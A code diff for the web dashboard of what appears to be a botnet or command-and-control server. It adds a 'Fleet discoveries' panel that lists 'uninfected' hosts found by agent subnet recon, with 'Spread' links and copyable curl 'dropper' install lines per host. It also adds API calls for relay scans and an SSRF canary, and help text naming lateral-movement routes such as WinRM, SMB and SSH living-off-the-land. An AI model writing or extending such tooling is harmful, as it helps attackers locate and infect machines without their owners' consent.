diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 57e38b0..53d4312 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -432,6 +432,60 @@ export const api = { 25_000, ), + reconRelayScan: async ( + body: import('../types/recon').ReconRelayScanRequest, + signal?: AbortSignal, + ): Promise => { + try { + return await fetchJSON( + '/recon/relay-scan', + { method: 'POST', body: JSON.stringify(body), signal }, + 45_000, + ); + } catch (e) { + if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null; + throw e; + } + }, + + getReconHistory: async (): Promise => { + try { + return await fetchJSON('/recon/history'); + } catch (e) { + if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null; + throw e; + } + }, + + getSsrfCanaryStatus: async (token: string): Promise => { + try { + return await fetchJSON( + `/recon/ssrf-canary/${encodeURIComponent(token)}`, + ); + } catch (e) { + if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null; + throw e; + } + }, + + getDiscoveredHosts: async (params?: { + subnet?: string; + status?: string; + }): Promise => { + const q = new URLSearchParams(); + if (params?.subnet) q.set('subnet', params.subnet); + if (params?.status) q.set('status', params.status); + const qs = q.toString(); + try { + return await fetchJSON( + `/recon/discovered-hosts${qs ? `?${qs}` : ''}`, + ); + } catch (e) { + if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null; + throw e; + } + }, + exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => { const res = await fetch(`${API_BASE}/builder/spread-kit-export`, { method: 'POST', diff --git a/server/web/src/components/Recon/FleetDiscoveriesPanel.tsx b/server/web/src/components/Recon/FleetDiscoveriesPanel.tsx new file mode 100644 index 0000000..d64c4f2 --- /dev/null +++ b/server/web/src/components/Recon/FleetDiscoveriesPanel.tsx @@ -0,0 +1,292 @@ +import { memo, useCallback, useEffect, useMemo, useState } from 'react'; +import { Link } from 'react-router-dom'; +import { api } from '../../api/client'; +import type { Agent } from '../../types'; +import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../../types/recon'; +import { HelpTip } from '../HelpTip'; +import { crucibleSpreadLink, curlInstallLine } from '../../help/deployRecon'; +import { + DEFAULT_DISCOVERY_FILTERS, + discoveryStatusLabel, + discoverySubnetOptions, + filterDiscoveryRows, + fmtDiscoveryTime, + manualScanToDiscovery, + mergeDiscoveryRows, + parseSubnetDiscoveryUpdate, + type DiscoveryFilters, +} from '../../help/fleetDiscoveries'; +import { useWebSocket } from '../../hooks/useWebSocket'; + +function CopyChip({ text, label }: { text: string; label: string }) { + const [ok, setOk] = useState(false); + const copy = () => { + void navigator.clipboard?.writeText(text).then(() => { + setOk(true); + setTimeout(() => setOk(false), 1500); + }).catch(() => {}); + }; + return ( + + ); +} + +function reporterLabel(row: DiscoveredHostRow, agents: Agent[]): string { + if (row.source === 'manual') return 'Manual scan'; + if (!row.reporter_agent_id) return '—'; + const agent = agents.find((a) => a.id === row.reporter_agent_id); + return agent?.name || agent?.hostname || row.reporter_agent_id.slice(0, 8); +} + +const DiscoveryRow = memo(function DiscoveryRow({ + row, + agents, + serverBase, + pinnedBuildId, + onScanDeeper, + scanningIp, +}: { + row: DiscoveredHostRow; + agents: Agent[]; + serverBase: string; + pinnedBuildId: string; + onScanDeeper: (ip: string) => void; + scanningIp: string; +}) { + const dropper = useMemo( + () => curlInstallLine(serverBase, pinnedBuildId), + [serverBase, pinnedBuildId], + ); + const uninfected = row.status === 'uninfected'; + + return ( + + {row.ip} + +
+ {row.open_ports.length === 0 ? ( + + ) : ( + row.open_ports.map((p) => ( + + {p} + + )) + )} +
+ + {reporterLabel(row, agents)} + {row.subnet_prefix || '—'} + {fmtDiscoveryTime(row.last_seen)} + + + {discoveryStatusLabel(row)} + + + +
+ + + Spread + + +
+ + + ); +}); + +export interface FleetDiscoveriesPanelProps { + manualScans: ReconScanReport[]; + onScanDeeper: (ip: string) => void; + scanningIp: string; + serverBase: string; + pinnedBuildId: string; +} + +export default function FleetDiscoveriesPanel({ + manualScans, + onScanDeeper, + scanningIp, + serverBase, + pinnedBuildId, +}: FleetDiscoveriesPanelProps) { + const { latestMessage, agents } = useWebSocket(); + const [agentHosts, setAgentHosts] = useState([]); + const [loading, setLoading] = useState(true); + const [apiMissing, setApiMissing] = useState(false); + const [filters, setFilters] = useState(DEFAULT_DISCOVERY_FILTERS); + + const load = useCallback(async () => { + try { + const data = await api.getDiscoveredHosts({ status: 'uninfected' }); + if (!data) { + setApiMissing(true); + setAgentHosts([]); + return; + } + setApiMissing(false); + setAgentHosts(data.hosts ?? []); + } catch { + setApiMissing(true); + } finally { + setLoading(false); + } + }, []); + + useEffect(() => { + void load(); + }, [load]); + + useEffect(() => { + if (!latestMessage || latestMessage.type !== 'subnet_discovery_update') return; + const incoming = parseSubnetDiscoveryUpdate(latestMessage.payload); + if (incoming.length === 0) return; + setAgentHosts((prev) => { + const map = new Map(prev.map((h) => [h.ip, h])); + for (const h of incoming) { + const old = map.get(h.ip); + if (!old) { + map.set(h.ip, h); + continue; + } + map.set(h.ip, { + ...old, + ...h, + open_ports: [...new Set([...old.open_ports, ...h.open_ports])].sort((a, b) => a - b), + }); + } + return [...map.values()]; + }); + setApiMissing(false); + setLoading(false); + }, [latestMessage]); + + const manualHosts = useMemo( + () => manualScans.map(manualScanToDiscovery), + [manualScans], + ); + + const merged = useMemo( + () => mergeDiscoveryRows(agentHosts, manualHosts), + [agentHosts, manualHosts], + ); + + const subnetOptions = useMemo(() => discoverySubnetOptions(merged), [merged]); + + const filtered = useMemo( + () => filterDiscoveryRows(merged, filters), + [merged, filters], + ); + + return ( +
+
+

+ Fleet discoveries +

+ + {filtered.length} uninfected + +
+ +
+ + + +
+ + {loading ? ( +

Loading agent discoveries…

+ ) : filtered.length === 0 ? ( +

+ {apiMissing && manualHosts.length === 0 + ? 'No discoveries yet — run a manual scan or wait for agent subnet recon.' + : 'No hosts match filters. Try clearing subnet/port filters or run Scan on a target.'} +

+ ) : ( +
+ + + + + + + + + + + + + + {filtered.map((row) => ( + + ))} + +
IPOpen portsReporterSubnetLast seenStatusActions
+
+ )} +
+ ); +} diff --git a/server/web/src/help/fleetDiscoveries.test.ts b/server/web/src/help/fleetDiscoveries.test.ts new file mode 100644 index 0000000..af76016 --- /dev/null +++ b/server/web/src/help/fleetDiscoveries.test.ts @@ -0,0 +1,82 @@ +import { describe, expect, it } from 'vitest'; +import { + DEFAULT_DISCOVERY_FILTERS, + filterDiscoveryRows, + manualScanToDiscovery, + mergeDiscoveryRows, + parseSubnetDiscoveryUpdate, + sortDiscoveryRows, +} from './fleetDiscoveries'; +import type { DiscoveredHost, ReconScanReport } from '../types/recon'; + +const agentHost = (ip: string, ports: number[], last: string): DiscoveredHost => ({ + ip, + open_ports: ports, + reporter_agent_id: 'agent-1', + subnet_prefix: '10.0.1.x', + last_seen: last, + status: 'uninfected', + source: 'agent', +}); + +describe('parseSubnetDiscoveryUpdate', () => { + it('parses flat row payload from WS', () => { + const hosts = parseSubnetDiscoveryUpdate({ + ip: '10.0.1.50', + open_ports: [22, 445], + reporter_agent_id: 'a1', + subnet_prefix: '10.0.1', + last_seen: '2026-06-07T10:00:00Z', + status: 'uninfected', + }); + expect(hosts).toHaveLength(1); + expect(hosts[0].open_ports).toEqual([22, 445]); + }); +}); + +describe('mergeDiscoveryRows', () => { + it('merges manual scan ports into agent row by IP', () => { + const manual: ReconScanReport = { + host: '10.0.1.50', + scanned_at: '2026-06-07T12:00:00Z', + ports: [ + { port: 22, open: true }, + { port: 80, open: true }, + ], + }; + const merged = mergeDiscoveryRows( + [agentHost('10.0.1.50', [445], '2026-06-07T10:00:00Z')], + [manualScanToDiscovery(manual)], + ); + expect(merged[0].open_ports).toEqual([22, 80, 445]); + expect(merged[0].last_seen).toBe('2026-06-07T12:00:00Z'); + }); +}); + +describe('filterDiscoveryRows', () => { + const rows = mergeDiscoveryRows( + [ + agentHost('10.0.1.22', [22], '2026-06-07T10:00:00Z'), + { + ...agentHost('10.0.2.5', [5985], '2026-06-07T11:00:00Z'), + subnet_prefix: '10.0.2.x', + }, + ], + [], + ); + + it('filters by subnet prefix', () => { + const out = filterDiscoveryRows(rows, { ...DEFAULT_DISCOVERY_FILTERS, subnet: '10.0.1' }); + expect(out.map((r) => r.ip)).toEqual(['10.0.1.22']); + }); + + it('filters by open port', () => { + const out = filterDiscoveryRows(rows, { ...DEFAULT_DISCOVERY_FILTERS, port: '22' }); + expect(out.map((r) => r.ip)).toEqual(['10.0.1.22']); + }); + + it('sorts by last_seen descending', () => { + const out = sortDiscoveryRows(rows, 'last_seen_desc'); + expect(out[0].ip).toBe('10.0.2.5'); + }); +}); diff --git a/server/web/src/help/fleetDiscoveries.ts b/server/web/src/help/fleetDiscoveries.ts new file mode 100644 index 0000000..448c0a7 --- /dev/null +++ b/server/web/src/help/fleetDiscoveries.ts @@ -0,0 +1,176 @@ +import { ipToSubnet } from './reconRisk'; +import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../types/recon'; + +export type DiscoverySort = 'last_seen_desc' | 'last_seen_asc' | 'ip_asc'; + +export interface DiscoveryFilters { + subnet: string; + port: string; + sort: DiscoverySort; +} + +export const DEFAULT_DISCOVERY_FILTERS: DiscoveryFilters = { + subnet: '', + port: '', + sort: 'last_seen_desc', +}; + +/** Parse dashboard WS `subnet_discovery_update` — row payload or batch wrapper. */ +export function parseSubnetDiscoveryUpdate(payload: unknown): DiscoveredHost[] { + if (!payload || typeof payload !== 'object') return []; + const raw = payload as Record; + if (Array.isArray(raw.hosts)) { + return raw.hosts.map(normalizeDiscoveredHost).filter(Boolean) as DiscoveredHost[]; + } + if (raw.ip || raw.host) { + const one = normalizeDiscoveredHost(raw); + return one ? [one] : []; + } + if (raw.host && typeof raw.host === 'object') { + const one = normalizeDiscoveredHost(raw.host); + return one ? [one] : []; + } + return []; +} + +function normalizeDiscoveredHost(raw: unknown): DiscoveredHost | null { + if (!raw || typeof raw !== 'object') return null; + const h = raw as Record; + const ip = String(h.ip ?? h.host ?? '').trim(); + if (!ip) return null; + const ports = normalizePorts(h.open_ports ?? h.ports); + const subnet = String(h.subnet_prefix ?? h.subnet ?? ipToSubnet(ip)).trim() || ipToSubnet(ip); + const lastSeen = String(h.last_seen ?? h.scanned_at ?? new Date().toISOString()).trim(); + return { + ip, + open_ports: ports, + reporter_agent_id: h.reporter_agent_id ? String(h.reporter_agent_id) : undefined, + subnet_prefix: subnet, + http_title: h.http_title ? String(h.http_title) : undefined, + first_seen: h.first_seen ? String(h.first_seen) : undefined, + last_seen: lastSeen, + status: normalizeStatus(h.status), + source: 'agent', + }; +} + +function normalizePorts(raw: unknown): number[] { + if (!Array.isArray(raw)) return []; + return [...new Set(raw.map((p) => Number(p)).filter((n) => Number.isFinite(n) && n > 0))].sort( + (a, b) => a - b, + ); +} + +function normalizeStatus(raw: unknown): DiscoveredHost['status'] { + const s = String(raw ?? 'uninfected').toLowerCase(); + if (s === 'spread_attempted' || s === 'agent_online') return s; + return 'uninfected'; +} + +export function manualScanToDiscovery(report: ReconScanReport): DiscoveredHost { + return { + ip: report.host.trim(), + open_ports: report.ports.filter((p) => p.open).map((p) => p.port), + subnet_prefix: ipToSubnet(report.host) || report.host, + http_title: report.crawl?.pages?.[0]?.title, + first_seen: report.scanned_at, + last_seen: report.scanned_at, + status: 'uninfected', + source: 'manual', + }; +} + +export function mergeDiscoveryRows( + agentHosts: DiscoveredHost[], + manualHosts: DiscoveredHost[], +): DiscoveredHostRow[] { + const map = new Map(); + + for (const h of agentHosts) { + map.set(h.ip, { ...h, source: 'agent' }); + } + + for (const m of manualHosts) { + const prev = map.get(m.ip); + if (!prev) { + map.set(m.ip, { ...m, source: 'manual' }); + continue; + } + map.set(m.ip, { + ...prev, + open_ports: [...new Set([...prev.open_ports, ...m.open_ports])].sort((a, b) => a - b), + last_seen: + new Date(m.last_seen).getTime() >= new Date(prev.last_seen).getTime() + ? m.last_seen + : prev.last_seen, + http_title: m.http_title || prev.http_title, + source: prev.source === 'agent' ? 'agent' : 'manual', + }); + } + + return [...map.values()]; +} + +export function filterDiscoveryRows( + rows: DiscoveredHostRow[], + filters: DiscoveryFilters, +): DiscoveredHostRow[] { + let out = rows.filter((r) => r.status === 'uninfected'); + const subnet = filters.subnet.trim(); + if (subnet) { + const needle = subnet.toLowerCase(); + out = out.filter( + (r) => + r.subnet_prefix.toLowerCase().includes(needle) || + r.ip.toLowerCase().startsWith(needle.replace('.x', '')), + ); + } + const port = parseInt(filters.port, 10); + if (Number.isFinite(port) && port > 0) { + out = out.filter((r) => r.open_ports.includes(port)); + } + return sortDiscoveryRows(out, filters.sort); +} + +export function sortDiscoveryRows( + rows: DiscoveredHostRow[], + sort: DiscoverySort, +): DiscoveredHostRow[] { + const copy = [...rows]; + if (sort === 'ip_asc') { + copy.sort((a, b) => a.ip.localeCompare(b.ip, undefined, { numeric: true })); + return copy; + } + copy.sort((a, b) => { + const ta = new Date(a.last_seen).getTime(); + const tb = new Date(b.last_seen).getTime(); + return sort === 'last_seen_asc' ? ta - tb : tb - ta; + }); + return copy; +} + +export function discoveryStatusLabel(row: DiscoveredHostRow): string { + if (row.status === 'agent_online') return 'In fleet'; + if (row.status === 'spread_attempted') return 'Spread attempted'; + return 'Not in fleet'; +} + +export function discoverySubnetOptions(rows: DiscoveredHostRow[]): string[] { + const set = new Set(); + for (const r of rows) { + if (r.subnet_prefix) set.add(r.subnet_prefix); + } + return [...set].sort(); +} + +export function fmtDiscoveryTime(ts?: string): string { + if (!ts) return '—'; + const d = new Date(ts); + if (Number.isNaN(d.getTime())) return ts; + return d.toLocaleString([], { + month: 'short', + day: 'numeric', + hour: '2-digit', + minute: '2-digit', + }); +} diff --git a/server/web/src/help/uiHelp.test.ts b/server/web/src/help/uiHelp.test.ts index 270ff87..d5852c3 100644 --- a/server/web/src/help/uiHelp.test.ts +++ b/server/web/src/help/uiHelp.test.ts @@ -115,6 +115,10 @@ describe('UI_HELP', () => { 'dr_overview', 'dr_port_matrix', 'dr_path_prefix', + 'dr_fleet_discoveries', + 'dr_fleet_subnet_filter', + 'dr_fleet_port_filter', + 'dr_fleet_sort', ] as const; it('defines help for every documented UI key', () => { diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts index 4e9354f..091c10d 100644 --- a/server/web/src/help/uiHelp.ts +++ b/server/web/src/help/uiHelp.ts @@ -237,4 +237,12 @@ export const UI_HELP: Record = { 'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).', dr_path_prefix: 'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.', + dr_fleet_discoveries: + 'Merged view of agent subnet recon (WS subnet_discovery_update) and your manual POST /api/v1/recon/scan results. Shows uninfected LAN hosts with open fleet ports — not yet registered as agents.', + dr_fleet_subnet_filter: + 'Narrow discoveries to one /24 prefix (e.g. 10.0.1.x). Agent reporters tag subnet_prefix from their local interface.', + dr_fleet_port_filter: + 'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.', + dr_fleet_sort: + 'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.', }; diff --git a/server/web/src/pages/DeployReconPage.css b/server/web/src/pages/DeployReconPage.css index 236f9d3..ec7c5f3 100644 --- a/server/web/src/pages/DeployReconPage.css +++ b/server/web/src/pages/DeployReconPage.css @@ -190,3 +190,120 @@ color: var(--text-muted); font-size: 0.82rem; } + +.dr-fleet-discoveries { + display: flex; + flex-direction: column; + gap: 0.75rem; +} + +.dr-fleet-head { + display: flex; + flex-wrap: wrap; + align-items: center; + justify-content: space-between; + gap: 0.5rem; +} + +.dr-fleet-count { + font-family: var(--font-tech); + font-size: 0.68rem; + letter-spacing: 0.06em; + color: var(--neon-cyan); +} + +.dr-fleet-filters { + display: grid; + grid-template-columns: repeat(3, minmax(0, 1fr)); + gap: 0.65rem; +} + +@media (max-width: 720px) { + .dr-fleet-filters { + grid-template-columns: 1fr; + } +} + +.dr-fleet-filters .dr-field span { + display: block; + font-family: var(--font-tech); + font-size: 0.62rem; + letter-spacing: 0.06em; + text-transform: uppercase; + color: var(--text-muted); + margin-bottom: 0.25rem; +} + +.dr-disc-table-wrap { + overflow-x: auto; +} + +.dr-disc-table { + width: 100%; + border-collapse: collapse; + font-size: 0.78rem; +} + +.dr-disc-table th { + font-family: var(--font-tech); + font-size: 0.62rem; + letter-spacing: 0.06em; + text-transform: uppercase; + color: var(--text-muted); + text-align: left; + padding: 0.35rem 0.5rem; + border-bottom: 1px solid rgba(255, 255, 255, 0.08); +} + +.dr-disc-table td { + padding: 0.45rem 0.5rem; + border-bottom: 1px solid rgba(255, 255, 255, 0.04); + vertical-align: middle; +} + +.dr-disc-ports { + display: flex; + flex-wrap: wrap; + gap: 0.3rem; +} + +.dr-disc-port { + font-family: var(--font-tech); + font-size: 0.62rem; + padding: 1px 5px; + border-radius: 3px; + border: 1px solid rgba(255, 255, 255, 0.1); +} + +.dr-disc-port.open { + border-color: rgba(0, 232, 245, 0.35); + background: rgba(0, 232, 245, 0.1); + color: #9efcff; +} + +.dr-disc-port.muted { + color: var(--text-muted); +} + +.dr-disc-badge { + font-family: var(--font-tech); + font-size: 0.6rem; + letter-spacing: 0.04em; + padding: 2px 6px; + border-radius: 3px; + text-transform: uppercase; + border: 1px solid rgba(255, 255, 255, 0.12); + color: var(--text-muted); +} + +.dr-disc-badge.uninfected { + border-color: rgba(0, 232, 245, 0.35); + color: #9efcff; + background: rgba(0, 232, 245, 0.08); +} + +.dr-disc-actions { + display: flex; + flex-wrap: wrap; + gap: 0.35rem; +} diff --git a/server/web/src/pages/DeployReconPage.test.tsx b/server/web/src/pages/DeployReconPage.test.tsx index ef9aa82..8bab884 100644 --- a/server/web/src/pages/DeployReconPage.test.tsx +++ b/server/web/src/pages/DeployReconPage.test.tsx @@ -9,12 +9,20 @@ import DeployReconPage from './DeployReconPage'; import { routerFuture } from '../routerFuture'; import { api } from '../api/client'; import { mockServerConfig, mockServerInfo } from '../test/fixtures'; -import type { ReconScanReport } from '../types/recon'; +import type { DiscoveredHostsResponse, ReconScanReport } from '../types/recon'; vi.mock('../components/HelpTip', () => ({ HelpTip: () => null, })); +vi.mock('../hooks/useWebSocket', () => ({ + useWebSocket: () => ({ + latestMessage: null, + agents: [{ id: 'agent-1', name: 'hop-a', hostname: 'hop-a', ip: '10.0.0.1', status: 'online' }], + isConnected: true, + }), +})); + const sampleReport: ReconScanReport = { host: 'scan.lab', scanned_at: '2026-06-07T12:00:00Z', @@ -66,6 +74,18 @@ describe('DeployReconPage', () => { vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo); vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig()); vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport); + vi.spyOn(api, 'getDiscoveredHosts').mockResolvedValue({ + hosts: [ + { + ip: '10.0.1.99', + open_ports: [22, 445], + reporter_agent_id: 'agent-1', + subnet_prefix: '10.0.1.x', + last_seen: '2026-06-07T11:00:00Z', + status: 'uninfected', + }, + ], + } satisfies DiscoveredHostsResponse); vi.stubGlobal('navigator', { clipboard: { writeText: vi.fn().mockResolvedValue(undefined) }, }); @@ -97,6 +117,23 @@ describe('DeployReconPage', () => { expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread'); }); + it('shows fleet discoveries table with uninfected badge', async () => { + renderPage(); + expect(await screen.findByTestId('dr-discovery-row-10.0.1.99')).toBeInTheDocument(); + expect(screen.getByTestId('dr-badge-10.0.1.99')).toHaveTextContent('Not in fleet'); + const row = screen.getByTestId('dr-discovery-row-10.0.1.99'); + expect(row.querySelector('a[href*="reconHost=10.0.1.99"]')).toBeTruthy(); + }); + + it('merges manual scan into fleet discoveries', async () => { + const user = userEvent.setup(); + renderPage(); + await user.type(screen.getByTestId('dr-host-input'), 'scan.lab'); + await user.click(screen.getByTestId('dr-scan-btn')); + expect(await screen.findByTestId('dr-results')).toBeInTheDocument(); + expect(screen.getByTestId('dr-discovery-row-scan.lab')).toBeInTheDocument(); + }); + it('shows skeleton while scanning', async () => { vi.useFakeTimers({ shouldAdvanceTime: true }); let resolveScan: ((v: ReconScanReport) => void) | undefined; diff --git a/server/web/src/pages/DeployReconPage.tsx b/server/web/src/pages/DeployReconPage.tsx index 171d5ac..dcbfdb4 100644 --- a/server/web/src/pages/DeployReconPage.tsx +++ b/server/web/src/pages/DeployReconPage.tsx @@ -14,6 +14,7 @@ import { curlInstallLine, reconScanBody, } from '../help/deployRecon'; +import FleetDiscoveriesPanel from '../components/Recon/FleetDiscoveriesPanel'; import './DeployReconPage.css'; import '../components/Fleet/ReconVisuals.css'; @@ -191,6 +192,8 @@ export default function DeployReconPage() { const [scanning, setScanning] = useState(false); const [error, setError] = useState(''); const [report, setReport] = useState(null); + const [manualScans, setManualScans] = useState([]); + const [deepScanIp, setDeepScanIp] = useState(''); const [serverBase, setServerBase] = useState(''); const [pinnedBuildId, setPinnedBuildId] = useState(''); @@ -215,8 +218,8 @@ export default function DeployReconPage() { })(); }, []); - const runScan = useCallback(async () => { - const trimmed = host.trim(); + const runScan = useCallback(async (targetHost?: string) => { + const trimmed = (targetHost ?? host).trim(); if (!trimmed) { setScanning(false); setError('Host or IP required'); @@ -229,15 +232,35 @@ export default function DeployReconPage() { try { const body = reconScanBody(trimmed, portNum, https, pathPrefix); const res = await api.reconScan(body, controller.signal); - if (!controller.signal.aborted) setReport(res); + if (!controller.signal.aborted) { + setReport(res); + setManualScans((prev) => { + const rest = prev.filter((s) => s.host.trim() !== res.host.trim()); + return [res, ...rest].slice(0, 48); + }); + } } catch (e) { if (e instanceof DOMException && e.name === 'AbortError') return; setError(e instanceof Error ? e.message : 'Scan failed'); } finally { - if (!controller.signal.aborted) setScanning(false); + if (!controller.signal.aborted) { + setScanning(false); + setDeepScanIp(''); + } } }, [host, port, https, pathPrefix]); + const handleScanDeeper = useCallback((ip: string) => { + setHost(ip); + setDeepScanIp(ip); + setScanning(true); + setError(''); + if (debounceRef.current) clearTimeout(debounceRef.current); + debounceRef.current = setTimeout(() => { + void runScan(ip); + }, SCAN_DEBOUNCE_MS); + }, [runScan]); + const scheduleScan = useCallback(() => { const trimmed = host.trim(); if (!trimmed) { @@ -347,6 +370,14 @@ export default function DeployReconPage() { pinnedBuildId={pinnedBuildId} /> ) : null} + + ); } diff --git a/server/web/src/types/recon.ts b/server/web/src/types/recon.ts index f03964f..3a8797a 100644 --- a/server/web/src/types/recon.ts +++ b/server/web/src/types/recon.ts @@ -175,3 +175,24 @@ export interface ReconWebFindingCard { probe_url?: string; mermaid?: string; } + +/** GET /api/v1/recon/discovered-hosts — agent subnet recon store. */ +export type DiscoveredHostStatus = 'uninfected' | 'spread_attempted' | 'agent_online'; + +export interface DiscoveredHost { + ip: string; + open_ports: number[]; + reporter_agent_id?: string; + subnet_prefix: string; + http_title?: string; + first_seen?: string; + last_seen: string; + status: DiscoveredHostStatus; + source?: 'agent' | 'manual'; +} + +export type DiscoveredHostRow = DiscoveredHost & { source: 'agent' | 'manual' }; + +export interface DiscoveredHostsResponse { + hosts: DiscoveredHost[]; +}